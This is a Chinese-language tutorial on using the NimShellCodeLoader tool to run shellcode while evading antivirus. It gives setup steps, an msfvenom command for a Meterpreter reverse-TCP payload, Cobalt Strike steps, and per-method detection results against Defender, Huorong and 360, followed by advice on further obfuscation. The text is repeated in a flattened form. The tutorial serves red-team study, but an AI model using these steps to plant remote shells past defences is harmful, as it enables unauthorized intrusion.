Nim之NimShellCodeLoader免杀学习
字数 2269 2025-08-29 08:31:54

NimShellCodeLoader免杀技术深度解析与实践指南

1. 项目概述

NimShellCodeLoader是由aeverj开发的一款基于Nim语言编写的Windows平台shellcode免杀加载器,具有以下核心特点:

  • 提供21种不同的注入加载方法
  • 支持两种加密技术(凯撒加密和3DES加密)
  • 每次生成的文件拥有不同的hash值
  • 密钥随机生成,增强免杀效果

2. 环境准备

2.1 Nim安装

  1. 从官网下载Windows x64版本:https://nim-lang.org/install.html
  2. 解压到C盘目录(如:C:\nim-1.6.4_x64)
  3. 添加bin目录到系统环境变量:C:\nim-1.6.4_x64\nim-1.6.4\bin
  4. 验证安装:cmd中输入nim应显示帮助信息

2.2 MinGW安装(二选一)

方法一:直接安装

  1. 下载地址:https://sourceforge.net/projects/mingw-w64/files/
  2. 64位系统选择x86_64-posix-sjlj版本
  3. 解压到C盘根目录
  4. 添加bin目录到系统环境变量(如:C:\mingw64\bin)
  5. 验证:gcc.exe --version

方法二:使用Nim自带的finish.exe

  1. 运行finish.exe并按照提示操作
  2. 解压后添加路径:C:\nim-1.6.4_x64\nim-1.6.4\dist\mingw64\bin到环境变量

2.3 安装winim库

nimble install winim

3. 项目使用

3.1 直接使用预编译版本

从发布页面下载最新版本:https://github.com/aeverj/NimShellCodeLoader/releases

3.2 自行编译(需C#环境)

  1. 下载源代码版本
  2. 编译加密模块:
nim c -d:release --opt:size Tdea.nim
nim c -d:release --opt:size Caesar.nim
  1. 进行C#编译(需额外环境)

4. Shellcode生成

4.1 使用MSF生成

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f raw -o payload.bin

4.2 使用Cobalt Strike生成

  1. 建立监听
  2. 选择攻击-生成后门-Payload生成器
  3. 生成原始shellcode文件

5. 加载方法详解

5.1 OEP_Hiijack_Inject_Load

凯撒加密:

  • 生成文件可执行
  • MSF和CS上线正常
  • 免杀能力:
    • 火绒:通过
    • Windows Defender:查杀

3DES加密:

  • 生成程序无法正常执行

5.2 Thread_Hiijack_Inject_Load

凯撒加密:

  • 生成但无法上线

3DES加密:

  • CS上线成功
  • Windows Defender查杀

5.3 APC_Ijnect_Load

凯撒加密/3DES加密:

  • 上线失败

5.4 Early_Bird_APC_Injetc_Load

凯撒加密:

  • 上线成功
  • Windows Defender查杀

3DES加密:

  • 双击后上线成功

5.5 Direct_Load

凯撒加密/3DES加密:

  • 上线成功
  • Windows Defender直接查杀

5.6 Thread_Pool_Wait

凯撒加密/3DES加密:

  • 双击后直接上线

5.7 Fiber_Load

凯撒加密/3DES加密:

  • 上线正常

5.8 CertEnumSystemStore

凯撒加密/3DES加密:

  • 上线正常

5.9 CertEnumSystemStoreLocation

凯撒加密/3DES加密:

  • 上线正常

5.10 CopyFile2

凯撒加密/3DES加密:

  • 功能正常

6. 其他加载方法(简要)

以下方法均被Windows Defender查杀:

  • EnumFontsW
  • EnumFontFamiliesW
  • EnumFontFamiliesExW
  • EnumDisplayMonitors
  • EnumDesktopWindows
  • EnumDesktopW
  • EnumChildWindows
  • CopyFileEx
  • CreateTimerQueueTimer_Tech
  • CryptEnumOIDInfo

7. 免杀效果总结

  • Windows Defender:所有方法均无法通过最新版(2022.03.17)
  • 火绒:绝大多数方法可以通过
  • 360杀毒:约一半方法可以通过

8. 常见问题解决

  1. 环境安装问题

    • 确保只使用一种MinGW安装方法
    • 安装前不要使用Nim进行编译工作,避免缓存问题
  2. 执行报错问题

    • 部分加载方法(如3DES加密的OEP_Hiijack)可能无法执行
    • 尝试更换加载方法或加密方式
  3. 无法上线问题

    • 检查shellcode生成是否正确
    • 尝试不同的加载方法
    • 确保监听配置正确

9. 进阶建议

  1. 自定义修改

    • 修改加密算法或密钥生成方式
    • 组合不同的加载技术
    • 添加垃圾代码或混淆
  2. 时效性注意

    • 免杀效果随时间递减
    • 需持续关注杀软更新并相应调整
  3. 综合防御规避

    • 结合其他免杀技术使用
    • 注意行为层面的隐藏

10. 参考资源

  1. 项目地址:https://github.com/aeverj/NimShellCodeLoader
  2. Nim语言官网:https://nim-lang.org/
  3. MinGW下载:https://sourceforge.net/projects/mingw-w64/files/
  4. winim库:https://github.com/khchen/winim

本指南基于2022年3月的测试结果,实际效果可能因环境变化而不同。使用时请遵守法律法规,仅用于授权测试和研究目的。

NimShellCodeLoader免杀技术深度解析与实践指南 1. 项目概述 NimShellCodeLoader是由aeverj开发的一款基于Nim语言编写的Windows平台shellcode免杀加载器,具有以下核心特点: 提供21种不同的注入加载方法 支持两种加密技术(凯撒加密和3DES加密) 每次生成的文件拥有不同的hash值 密钥随机生成,增强免杀效果 2. 环境准备 2.1 Nim安装 从官网下载Windows x64版本:https://nim-lang.org/install.html 解压到C盘目录(如:C:\nim-1.6.4_ x64) 添加bin目录到系统环境变量: C:\nim-1.6.4_x64\nim-1.6.4\bin 验证安装:cmd中输入 nim 应显示帮助信息 2.2 MinGW安装(二选一) 方法一:直接安装 下载地址:https://sourceforge.net/projects/mingw-w64/files/ 64位系统选择x86_ 64-posix-sjlj版本 解压到C盘根目录 添加bin目录到系统环境变量(如:C:\mingw64\bin) 验证: gcc.exe --version 方法二:使用Nim自带的finish.exe 运行 finish.exe 并按照提示操作 解压后添加路径: C:\nim-1.6.4_x64\nim-1.6.4\dist\mingw64\bin 到环境变量 2.3 安装winim库 3. 项目使用 3.1 直接使用预编译版本 从发布页面下载最新版本:https://github.com/aeverj/NimShellCodeLoader/releases 3.2 自行编译(需C#环境) 下载源代码版本 编译加密模块: 进行C#编译(需额外环境) 4. Shellcode生成 4.1 使用MSF生成 4.2 使用Cobalt Strike生成 建立监听 选择攻击-生成后门-Payload生成器 生成原始shellcode文件 5. 加载方法详解 5.1 OEP_ Hiijack_ Inject_ Load 凯撒加密: 生成文件可执行 MSF和CS上线正常 免杀能力: 火绒:通过 Windows Defender:查杀 3DES加密: 生成程序无法正常执行 5.2 Thread_ Hiijack_ Inject_ Load 凯撒加密: 生成但无法上线 3DES加密: CS上线成功 Windows Defender查杀 5.3 APC_ Ijnect_ Load 凯撒加密/3DES加密: 上线失败 5.4 Early_ Bird_ APC_ Injetc_ Load 凯撒加密: 上线成功 Windows Defender查杀 3DES加密: 双击后上线成功 5.5 Direct_ Load 凯撒加密/3DES加密: 上线成功 Windows Defender直接查杀 5.6 Thread_ Pool_ Wait 凯撒加密/3DES加密: 双击后直接上线 5.7 Fiber_ Load 凯撒加密/3DES加密: 上线正常 5.8 CertEnumSystemStore 凯撒加密/3DES加密: 上线正常 5.9 CertEnumSystemStoreLocation 凯撒加密/3DES加密: 上线正常 5.10 CopyFile2 凯撒加密/3DES加密: 功能正常 6. 其他加载方法(简要) 以下方法均被Windows Defender查杀: EnumFontsW EnumFontFamiliesW EnumFontFamiliesExW EnumDisplayMonitors EnumDesktopWindows EnumDesktopW EnumChildWindows CopyFileEx CreateTimerQueueTimer_ Tech CryptEnumOIDInfo 7. 免杀效果总结 Windows Defender :所有方法均无法通过最新版(2022.03.17) 火绒 :绝大多数方法可以通过 360杀毒 :约一半方法可以通过 8. 常见问题解决 环境安装问题 : 确保只使用一种MinGW安装方法 安装前不要使用Nim进行编译工作,避免缓存问题 执行报错问题 : 部分加载方法(如3DES加密的OEP_ Hiijack)可能无法执行 尝试更换加载方法或加密方式 无法上线问题 : 检查shellcode生成是否正确 尝试不同的加载方法 确保监听配置正确 9. 进阶建议 自定义修改 : 修改加密算法或密钥生成方式 组合不同的加载技术 添加垃圾代码或混淆 时效性注意 : 免杀效果随时间递减 需持续关注杀软更新并相应调整 综合防御规避 : 结合其他免杀技术使用 注意行为层面的隐藏 10. 参考资源 项目地址:https://github.com/aeverj/NimShellCodeLoader Nim语言官网:https://nim-lang.org/ MinGW下载:https://sourceforge.net/projects/mingw-w64/files/ winim库:https://github.com/khchen/winim 本指南基于2022年3月的测试结果,实际效果可能因环境变化而不同。使用时请遵守法律法规,仅用于授权测试和研究目的。